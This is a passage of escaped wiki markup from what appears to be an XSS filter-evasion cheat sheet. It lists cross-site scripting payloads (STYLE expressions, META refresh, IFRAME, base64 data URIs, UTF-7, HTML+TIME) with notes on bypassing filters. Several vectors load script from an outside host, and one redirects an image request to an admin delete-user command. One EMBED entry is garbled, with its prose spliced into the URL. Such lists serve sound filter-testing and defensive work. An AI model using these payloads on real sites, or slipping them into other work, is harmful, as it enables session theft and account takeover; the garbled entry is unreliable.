# &amp;lt;code&amp;gt;onResizeStart()&amp;lt;/code&amp;gt; (user would resize the window; attacker could auto initialize with something like: &amp;lt;code&amp;gt;&amp;lt;SCRIPT&amp;gt;self.resizeTo(500,400);&amp;lt;/SCRIPT&amp;gt;&amp;lt;/code&amp;gt;)&lt;br /&gt;
# &amp;lt;code&amp;gt;onResume()&amp;lt;/code&amp;gt; (the onresume event fires on every element that becomes active when the timeline resumes, including the body element)&lt;br /&gt;
# &amp;lt;code&amp;gt;onReverse()&amp;lt;/code&amp;gt; (if the element has a repeatCount greater than one, this event fires every time the timeline begins to play backward)&lt;br /&gt;
# &amp;lt;code&amp;gt;onRowsEnter()&amp;lt;/code&amp;gt; (user or attacker would need to change a row in a data source)&lt;br /&gt;
# &amp;lt;code&amp;gt;onRowExit()&amp;lt;/code&amp;gt; (user or attacker would need to change a row in a data source)&lt;br /&gt;
# &amp;lt;code&amp;gt;onRowDelete()&amp;lt;/code&amp;gt; (user or attacker would need to delete a row in a data source)&lt;br /&gt;
# &amp;lt;code&amp;gt;onRowInserted()&amp;lt;/code&amp;gt; (user or attacker would need to insert a row in a data source)&lt;br /&gt;
# &amp;lt;code&amp;gt;onScroll()&amp;lt;/code&amp;gt; (user would need to scroll, or attacker could use the &amp;lt;code&amp;gt;scrollBy()&amp;lt;/code&amp;gt; function)&lt;br /&gt;
# &amp;lt;code&amp;gt;onSeek()&amp;lt;/code&amp;gt; (the onreverse event fires when the timeline is set to play in any direction other than forward)&lt;br /&gt;
# &amp;lt;code&amp;gt;onSelect()&amp;lt;/code&amp;gt; (user needs to select some text - attacker could auto initialize with something like: &amp;lt;code&amp;gt;window.document.execCommand(&amp;quot;SelectAll&amp;quot;);&amp;lt;/code&amp;gt;)&lt;br /&gt;
# &amp;lt;code&amp;gt;onSelectionChange()&amp;lt;/code&amp;gt; (user needs to select some text - attacker could auto initialize with something like: &amp;lt;code&amp;gt;window.document.execCommand(&amp;quot;SelectAll&amp;quot;);&amp;lt;/code&amp;gt;)&lt;br /&gt;
# &amp;lt;code&amp;gt;onSelectStart()&amp;lt;/code&amp;gt; (user needs to select some text - attacker could auto initialize with something like: &amp;lt;code&amp;gt;window.document.execCommand(&amp;quot;SelectAll&amp;quot;);&amp;lt;/code&amp;gt;)&lt;br /&gt;
# &amp;lt;code&amp;gt;onStart()&amp;lt;/code&amp;gt; (fires at the beginning of each marquee loop)&lt;br /&gt;
# &amp;lt;code&amp;gt;onStop()&amp;lt;/code&amp;gt; (user would need to press the stop button or leave the webpage)&lt;br /&gt;
# &amp;lt;code&amp;gt;onStorage()&amp;lt;/code&amp;gt; (storage area changed)&lt;br /&gt;
# &amp;lt;code&amp;gt;onSyncRestored()&amp;lt;/code&amp;gt; (user interrupts the element's ability to play its media as defined by the timeline to fire)&lt;br /&gt;
# &amp;lt;code&amp;gt;onSubmit()&amp;lt;/code&amp;gt; (requires attacker or user submits a form)&lt;br /&gt;
# &amp;lt;code&amp;gt;onTimeError()&amp;lt;/code&amp;gt; (user or attacker sets a time property, such as dur, to an invalid value)&lt;br /&gt;
# &amp;lt;code&amp;gt;onTrackChange()&amp;lt;/code&amp;gt; (user or attacker changes track in a playList)&lt;br /&gt;
# &amp;lt;code&amp;gt;onUndo()&amp;lt;/code&amp;gt; (user went backward in undo transaction history)&lt;br /&gt;
# &amp;lt;code&amp;gt;onUnload()&amp;lt;/code&amp;gt; (as the user clicks any link or presses the back button or attacker forces a click)&lt;br /&gt;
# &amp;lt;code&amp;gt;onURLFlip()&amp;lt;/code&amp;gt; (this event fires when an Advanced Streaming Format (ASF) file, played by a HTML+TIME (Timed Interactive Multimedia Extensions) media tag, processes script commands embedded in the ASF file)&lt;br /&gt;
# &amp;lt;code&amp;gt;seekSegmentTime()&amp;lt;/code&amp;gt; (this is a method that locates the specified point on the element's segment time line and begins playing from that point. The segment consists of one repetition of the time line including reverse play using the AUTOREVERSE attribute.)&lt;br /&gt;
&lt;br /&gt;
== BGSOUND ==&lt;br /&gt;
 &amp;lt;BGSOUND SRC=&amp;quot;javascript:alert('XSS');&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== &amp;amp; JavaScript includes ==&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;BR SIZE=&amp;quot;&amp;amp;{alert('XSS')}&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
== STYLE sheet ==&lt;br /&gt;
 &amp;lt;LINK REL=&amp;quot;stylesheet&amp;quot; HREF=&amp;quot;javascript:alert('XSS');&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Remote style sheet ==&lt;br /&gt;
(using something as simple as a remote style sheet you can include your XSS as the style parameter can be redefined using an embedded expression.) This only works in IE and Netscape 8.1+ in IE rendering engine mode. Notice that there is nothing on the page to show that there is included JavaScript. Note: With all of these remote style sheet examples they use the body tag, so it won't work unless there is some content on the page other than the vector itself, so you'll need to add a single letter to the page to make it work if it's an otherwise blank page:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;LINK REL=&amp;quot;stylesheet&amp;quot; HREF=&amp;quot;http:&amp;amp;#47;&amp;amp;#47;xss.rocks/xss.css&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Remote style sheet part 2 ==&lt;br /&gt;
This works the same as above, but uses a &amp;lt;STYLE&amp;gt; tag instead of a &amp;lt;LINK&amp;gt; tag). A slight variation on this vector was used to hack Google Desktop. As a side note, you can remove the end &amp;lt;/STYLE&amp;gt; tag if there is HTML immediately after the vector to close it. This is useful if you cannot have either an equals sign or a slash in your cross site scripting attack, which has come up at least once in the real world:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;STYLE&amp;gt;@import'http://xss.rocks/xss.css';&amp;lt;/STYLE&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Remote style sheet part 3 ==&lt;br /&gt;
This only works in Opera 8.0 (no longer in 9.x) but is fairly tricky. According to RFC2616 setting a link header is not part of the HTTP1.1 spec, however some browsers still allow it (like Firefox and Opera). The trick here is that I am setting a header (which is basically no different than in the HTTP header saying Link: &amp;lt;nowiki&amp;gt;&amp;lt;http://xss.rocks/xss.css&amp;gt;; REL=stylesheet)&amp;lt;/nowiki&amp;gt; and the remote style sheet with my cross site scripting vector is running the JavaScript, which is not supported in FireFox:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;META HTTP-EQUIV=&amp;quot;Link&amp;quot; Content=&amp;quot;&amp;lt;http://xss.rocks/xss.css&amp;gt;; REL=stylesheet&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Remote style sheet part 4 ==&lt;br /&gt;
This only works in Gecko rendering engines and works by binding an XUL file to the parent page. I think the irony here is that Netscape assumes that Gecko is safer and therefor is vulnerable to this for the vast majority of sites:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;STYLE&amp;gt;BODY{-moz-binding:url(&amp;quot;http:&amp;amp;#47;&amp;amp;#47;xss.rocks/xssmoz.xml#xss&amp;quot;)}&amp;lt;/STYLE&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== STYLE tags with broken up JavaScript for XSS ==&lt;br /&gt;
This XSS at times sends IE into an infinite loop of alerts:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;STYLE&amp;gt;@im\port'\ja\vasc\ript:alert(&amp;quot;XSS&amp;quot;)';&amp;lt;/STYLE&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== STYLE attribute using a comment to break up expression ==&lt;br /&gt;
Created by Roman Ivanov &lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;IMG STYLE=&amp;quot;xss:expr/*XSS*/ession(alert('XSS'))&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== IMG STYLE with expression ==&lt;br /&gt;
This is really a hybrid of the above XSS vectors, but it really does show how hard STYLE tags can be to parse apart, like above this can send IE into a loop:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;exp/*&amp;lt;A STYLE='no\xss:noxss(&amp;quot;*//*&amp;quot;);&lt;br /&gt;
xss:&amp;amp;#101;x&amp;amp;#x2F;*XSS*//*/*/pression(alert(&amp;quot;XSS&amp;quot;))'&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== STYLE tag (Older versions of Netscape only)==&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;STYLE TYPE=&amp;quot;text/javascript&amp;quot;&amp;gt;alert('XSS');&amp;lt;/STYLE&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== STYLE tag using background-image ==&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;STYLE&amp;gt;.XSS{background-image:url(&amp;quot;javascript:alert('XSS')&amp;quot;);}&amp;lt;/STYLE&amp;gt;&amp;lt;A CLASS=XSS&amp;gt;&amp;lt;/A&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== STYLE tag using background ==&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;STYLE type=&amp;quot;text/css&amp;quot;&amp;gt;BODY{background:url(&amp;quot;javascript:alert('XSS')&amp;quot;)}&amp;lt;/STYLE&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&amp;lt;STYLE type=&amp;quot;text/css&amp;quot;&amp;gt;BODY{background:url(&amp;quot;javascript:alert('XSS')&amp;quot;)}&amp;lt;/STYLE&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Anonymous HTML with STYLE attribute ==&lt;br /&gt;
IE6.0 and Netscape 8.1+ in IE rendering engine mode don't really care if the HTML tag you build exists or not, as long as it starts with an open angle bracket and a letter:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;XSS STYLE=&amp;quot;xss:expression(alert('XSS'))&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Local htc file == &lt;br /&gt;
This is a little different than the above two cross site scripting vectors because it uses an .htc file which must be on the same server as the XSS vector. The example file works by pulling in the JavaScript and running it as part of the style attribute:&lt;br /&gt;
 &amp;lt;XSS STYLE=&amp;quot;behavior: url(xss.htc);&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== US-ASCII encoding == &lt;br /&gt;
US-ASCII encoding (found by Kurt Huwig).This uses malformed ASCII encoding with 7 bits instead of 8. This XSS may bypass many content filters but only works if the host transmits in US-ASCII encoding, or if you set the encoding yourself. This is more useful against web application firewall cross site scripting evasion than it is server side filter evasion. Apache Tomcat is the only known server that transmits in US-ASCII encoding. &lt;br /&gt;
&lt;br /&gt;
 ¼script¾alert(¢XSS¢)¼/script¾&lt;br /&gt;
&lt;br /&gt;
== META ==&lt;br /&gt;
The odd thing about meta refresh is that it doesn't send a referrer in the header - so it can be used for certain types of attacks where you need to get rid of referring URLs:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;META HTTP-EQUIV=&amp;quot;refresh&amp;quot; CONTENT=&amp;quot;0;url=javascript:alert('XSS');&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== META using data ===&lt;br /&gt;
Directive URL scheme. This is nice because it also doesn't have anything visibly that has the word SCRIPT or the JavaScript directive in it, because it utilizes base64 encoding. Please see RFC 2397 for more details or go here or here to encode your own. You can also use the XSS [http://ha.ckers.org/xsscalc.html calculator] below if you just want to encode raw HTML or JavaScript as it has a Base64 encoding method:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;META HTTP-EQUIV=&amp;quot;refresh&amp;quot; CONTENT=&amp;quot;0;url=data:text/html base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== META with additional URL parameter ===&lt;br /&gt;
If the target website attempts to see if the URL contains &amp;quot;http:&amp;amp;#47;&amp;amp;#47;&amp;quot; at the beginning you can evade it with the following technique (Submitted by Moritz Naumann):&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;META HTTP-EQUIV=&amp;quot;refresh&amp;quot; CONTENT=&amp;quot;0; URL=http://;URL=javascript:alert('XSS');&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== IFRAME  ==&lt;br /&gt;
If iframes are allowed there are a lot of other XSS problems as well:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;IFRAME SRC=&amp;quot;javascript:alert('XSS');&amp;quot;&amp;gt;&amp;lt;/IFRAME&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== IFRAME Event based ==&lt;br /&gt;
IFrames and most other elements can use event based mayhem like the following... &lt;br /&gt;
(Submitted by: David Cross)&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;IFRAME SRC=# onmouseover=&amp;quot;alert(document.cookie)&amp;quot;&amp;gt;&amp;lt;/IFRAME&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== FRAME ==&lt;br /&gt;
Frames have the same sorts of XSS problems as iframes&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;FRAMESET&amp;gt;&amp;lt;FRAME SRC=&amp;quot;javascript:alert('XSS');&amp;quot;&amp;gt;&amp;lt;/FRAMESET&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== TABLE ==&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;TABLE BACKGROUND=&amp;quot;javascript:alert('XSS')&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== TD ===&lt;br /&gt;
Just like above, TD's are vulnerable to BACKGROUNDs containing JavaScript XSS vectors:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;TABLE&amp;gt;&amp;lt;TD BACKGROUND=&amp;quot;javascript:alert('XSS')&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== DIV ==&lt;br /&gt;
&lt;br /&gt;
=== DIV background-image===&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;DIV STYLE=&amp;quot;background-image: url(javascript:alert('XSS'))&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== DIV background-image with unicoded XSS exploit ===&lt;br /&gt;
This has been modified slightly to obfuscate the url parameter. The original vulnerability was found by Renaud Lifchitz as a vulnerability in Hotmail:&lt;br /&gt;
&lt;br /&gt;
 &amp;amp;lt;DIV STYLE=&amp;quot;background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029&amp;quot;&amp;amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== DIV background-image plus extra characters ===&lt;br /&gt;
Rnaske built a quick XSS fuzzer to detect any erroneous characters that are allowed after the open parenthesis but before the JavaScript directive in IE and Netscape 8.1 in secure site mode. These are in decimal but you can include hex and add padding of course. (Any of the following chars can be used: 1-32, 34, 39, 160, 8192-8.13, 12288, 65279):&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;DIV STYLE=&amp;quot;background-image: url(&amp;amp;#1;javascript:alert('XSS'))&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== DIV expression === &lt;br /&gt;
A variant of this was effective against a real world cross site scripting filter using a newline between the colon and &amp;quot;expression&amp;quot;:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;DIV STYLE=&amp;quot;width: expression(alert('XSS'));&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Downlevel-Hidden block ==&lt;br /&gt;
Only works in IE5.0 and later and Netscape 8.1 in IE rendering engine mode). Some websites consider anything inside a comment block to be safe and therefore does not need to be removed, which allows our Cross Site Scripting vector. Or the system could add comment tags around something to attempt to render it harmless. As we can see, that probably wouldn't do the job:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;!--[if gte IE 4]&amp;gt;&lt;br /&gt;
 &amp;lt;SCRIPT&amp;gt;alert('XSS');&amp;lt;/SCRIPT&amp;gt;&lt;br /&gt;
 &amp;lt;![endif]--&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== BASE tag ==&lt;br /&gt;
Works in IE and Netscape 8.1 in safe mode. You need the // to comment out the next characters so you won't get a JavaScript error and your XSS tag will render. Also, this relies on the fact that the website uses dynamically placed images like &amp;quot;images/image.jpg&amp;quot; rather than full paths. If the path includes a leading forward slash like &amp;quot;/images/image.jpg&amp;quot; you can remove one slash from this vector (as long as there are two to begin the comment this will work):&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;BASE HREF=&amp;quot;javascript:alert('XSS');//&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== OBJECT tag ==&lt;br /&gt;
If they allow objects, you can also inject virus payloads to infect the users, etc. and same with the APPLET tag). The linked file is actually an HTML file that can contain your XSS:&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;nowiki&amp;gt;&amp;lt;OBJECT TYPE=&amp;quot;text/x-scriptlet&amp;quot; DATA=&amp;quot;http:&amp;amp;#47;&amp;amp;#47;xss.rocks/scriptlet.html&amp;quot;&amp;gt;&amp;lt;/OBJECT&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Using an EMBED tag you can embed a Flash movie that contains XSS ==&lt;br /&gt;
Click here for a demo. If you add the attributes allowScriptAccess=&amp;quot;never&amp;quot; and allownetworking=&amp;quot;internal&amp;quot; it can mitigate this risk (thank you to Jonathan Vanasco for the info).:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;EMBED SRC=&amp;quot;http:&amp;amp;#47;&amp;amp;#47;ha.ckers.Using an EMBED tag you can embed a Flash movie that contains XSS. Click here for a demo. If you add the attributes allowScriptAccess=&amp;quot;never&amp;quot; and allownetworking=&amp;quot;internal&amp;quot; it can mitigate this risk (thank you to Jonathan Vanasco for the info).:&lt;br /&gt;
org/xss.swf&amp;quot; AllowScriptAccess=&amp;quot;always&amp;quot;&amp;gt;&amp;lt;/EMBED&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== You can EMBED SVG which can contain your XSS vector ==&lt;br /&gt;
This example only works in Firefox, but it's better than the above vector in Firefox because it does not require the user to have Flash turned on or installed. Thanks to nEUrOO for this one.&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;EMBED SRC=&amp;quot;data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==&amp;quot; type=&amp;quot;image/svg+xml&amp;quot; AllowScriptAccess=&amp;quot;always&amp;quot;&amp;gt;&amp;lt;/EMBED&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Using ActionScript inside flash can obfuscate your XSS vector ==&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;a=&amp;quot;get&amp;quot;;&lt;br /&gt;
b=&amp;quot;URL(\&amp;quot;&amp;quot;;&lt;br /&gt;
c=&amp;quot;javascript:&amp;quot;;&lt;br /&gt;
d=&amp;quot;alert('XSS');\&amp;quot;)&amp;quot;;&lt;br /&gt;
eval(a+b+c+d);&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== XML data island with CDATA obfuscation ==&lt;br /&gt;
This XSS attack works only in IE and Netscape 8.1 in IE rendering engine mode) - vector found by Sec Consult while auditing Yahoo:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;XML ID=&amp;quot;xss&amp;quot;&amp;gt;&amp;lt;I&amp;gt;&amp;lt;B&amp;gt;&amp;amp;lt;IMG SRC=&amp;quot;javas&amp;lt;!-- --&amp;gt;cript:alert('XSS')&amp;quot;&amp;amp;gt;&amp;lt;/B&amp;gt;&amp;lt;/I&amp;gt;&amp;lt;/XML&amp;gt;&lt;br /&gt;
&amp;lt;SPAN DATASRC=&amp;quot;#xss&amp;quot; DATAFLD=&amp;quot;B&amp;quot; DATAFORMATAS=&amp;quot;HTML&amp;quot;&amp;gt;&amp;lt;/SPAN&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Locally hosted XML with embedded JavaScript that is generated using an XML data island ==&lt;br /&gt;
This is the same as above but instead referrs to a locally hosted (must be on the same server) XML file that contains your cross site scripting vector. You can see the result here:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;XML SRC=&amp;quot;xsstest.xml&amp;quot; ID=I&amp;gt;&amp;lt;/XML&amp;gt;&lt;br /&gt;
&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== HTML+TIME in XML ==&lt;br /&gt;
This is how Grey Magic hacked Hotmail and Yahoo!. This only works in Internet Explorer and Netscape 8.1 in IE rendering engine mode and remember that you need to be between HTML and BODY tags for this to work:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;HTML&amp;gt;&amp;lt;BODY&amp;gt;&lt;br /&gt;
&amp;lt;?xml:namespace prefix=&amp;quot;t&amp;quot; ns=&amp;quot;urn:schemas-microsoft-com:time&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?import namespace=&amp;quot;t&amp;quot; implementation=&amp;quot;#default#time2&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;t:set attributeName=&amp;quot;innerHTML&amp;quot; to=&amp;quot;XSS&amp;amp;lt;SCRIPT DEFER&amp;amp;gt;alert(&amp;amp;quot;XSS&amp;amp;quot;)&amp;amp;lt;/SCRIPT&amp;amp;gt;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;/BODY&amp;gt;&amp;lt;/HTML&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Assuming you can only fit in a few characters and it filters against &amp;quot;.js&amp;quot; ==&lt;br /&gt;
you can rename your JavaScript file to an image as an XSS vector:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;SCRIPT SRC=&amp;quot;http:&amp;amp;#47;&amp;amp;#47;xss.rocks/xss.jpg&amp;quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== SSI (Server Side Includes)== &lt;br /&gt;
This requires SSI to be installed on the server to use this XSS vector. I probably don't need to mention this, but if you can run commands on the server there are no doubt much more serious issues:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;!--#exec cmd=&amp;quot;/bin/echo '&amp;lt;SCR'&amp;quot;--&amp;gt;&amp;lt;!--#exec cmd=&amp;quot;/bin/echo 'IPT SRC=http://xss.rocks/xss.js&amp;gt;&amp;lt;/SCRIPT&amp;gt;'&amp;quot;--&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== PHP ==&lt;br /&gt;
Requires PHP to be installed on the server to use this XSS vector. Again, if you can run any scripts remotely like this, there are probably much more dire issues:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;? echo('&amp;lt;SCR)';&lt;br /&gt;
echo('IPT&amp;gt;alert(&amp;quot;XSS&amp;quot;)&amp;lt;/SCRIPT&amp;gt;'); ?&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== IMG Embedded commands ==&lt;br /&gt;
This works when the webpage where this is injected (like a web-board) is behind password protection and that password protection works with other commands on the same domain. This can be used to delete users, add users (if the user who visits the page is an administrator), send credentials elsewhere, etc.... This is one of the lesser used but more useful XSS vectors:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;IMG SRC=&amp;quot;http:&amp;amp;#47;&amp;amp;#47;www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== IMG Embedded commands part II ===&lt;br /&gt;
This is more scary because there are absolutely no identifiers that make it look suspicious other than it is not hosted on your own domain. The vector uses a 302 or 304 (others work too) to redirect the image back to a command. So a normal &amp;amp;lt;IMG SRC=&amp;quot;httx://badguy.com/a.jpg&amp;quot;&amp;amp;gt; could actually be an attack vector to run commands as the user who views the image link. Here is the .htaccess (under Apache) line to accomplish the vector (thanks to Timo for part of this):&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;Redirect 302 /a.jpg http://victimsite.com/admin.asp&amp;amp;deleteuser&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Cookie manipulation ==&lt;br /&gt;
Admittedly this is pretty obscure but I have seen a few examples where &amp;lt;META is allowed and you can use it to overwrite cookies. There are other examples of sites where instead of fetching the username from a database it is stored inside of a cookie to be displayed only to the user who visits the page. With these two scenarios combined you can modify the victim's cookie which will be displayed back to them as JavaScript (you can also use this to log people out or change their user states, get them to log in as you, etc...):&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;META HTTP-EQUIV=&amp;quot;Set-Cookie&amp;quot; Content=&amp;quot;USERID=&amp;amp;lt;SCRIPT&amp;amp;gt;alert('XSS')&amp;amp;lt;/SCRIPT&amp;amp;gt;&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== UTF-7 encoding ==&lt;br /&gt;
If the page that the XSS resides on doesn't provide a page charset header, or any browser that is set to UTF-7 encoding can be exploited with the following (Thanks to Roman Ivanov for this one). Click here for an example (you don't need the charset statement if the user's browser is set to auto-detect and there is no overriding content-types on the page in Internet Explorer and Netscape 8.1 in IE rendering engine mode). This does not work in any modern browser without changing the encoding type which is why it is marked as completely unsupported. Watchfire found this hole in Google's custom 404 script.: &lt;br /&gt;
  &amp;lt;nowiki&amp;gt;&amp;lt;HEAD&amp;gt;&amp;lt;META HTTP-EQUIV=&amp;quot;CONTENT-TYPE&amp;quot; CONTENT=&amp;quot;text/html; charset=UTF-7&amp;quot;&amp;gt; &amp;lt;/HEAD&amp;gt;+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== XSS using HTML quote encapsulation ==&lt;br /&gt;
This was tested in IE, your mileage may vary. For performing XSS on sites that allow &amp;quot;&amp;lt;SCRIPT&amp;gt;&amp;quot; but don't allow &amp;quot;&amp;lt;SCRIPT SRC...&amp;quot; by way of a regex filter &amp;quot;/&amp;lt;script[^&amp;gt;]+src/i&amp;quot;:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;SCRIPT a=&amp;quot;&amp;gt;&amp;quot; SRC=&amp;quot;httx://xss.rocks/xss.js&amp;quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
For performing XSS on sites that allow &amp;quot;&amp;lt;SCRIPT&amp;gt;&amp;quot; but don't allow &amp;quot;&amp;lt;script src...&amp;quot; by way of a regex filter &amp;quot;/&amp;lt;script((\s+\w+(\s*=\s*(?:&amp;quot;(.)*?&amp;quot;|'(.)*?'|[^'&amp;quot;&amp;gt;\s]+))?)+\s*|\s*)src/i&amp;quot; (this is an important one, because I've seen this regex in the wild):&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;SCRIPT =&amp;quot;&amp;gt;&amp;quot; SRC=&amp;quot;httx://xss.rocks/xss.js&amp;quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
